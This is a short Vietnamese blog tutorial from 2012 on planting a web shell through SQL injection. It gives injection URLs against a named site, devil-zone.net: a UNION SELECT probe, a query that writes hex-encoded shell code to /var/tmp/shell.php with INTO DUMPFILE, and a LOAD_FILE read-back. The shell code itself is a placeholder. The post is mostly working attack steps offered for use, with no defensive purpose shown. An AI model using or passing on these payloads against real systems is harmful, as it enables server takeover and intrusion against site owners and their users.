Thứ Tư, 21 tháng 11, 2012

TUT upshell qua lỗi SQLI

Ví dụ ở đây ta có 1 site lỗi

Code:
http://devil-zone.net/vuln.php?id=[SQLINJ]

tiếp tục


Code:
http://devil-zone.net/vuln.php?id=1337 union all select 1,2,3,4,5,6,7,8/*

tiếp nữa


Code:
http://devil-zone.net/vuln.php?id=1337 union all select 1,2,3,4,5,0xshellcodeinhexhere,7,8 into dumpfile '/var/tmp/shell.php'/*
và fuck thôi


Code:
http://devil-zone.net/vuln.php?id=1337 union all select 1,2,3,4,5,Load_File('/var/tmp/shell.php'),7,8/*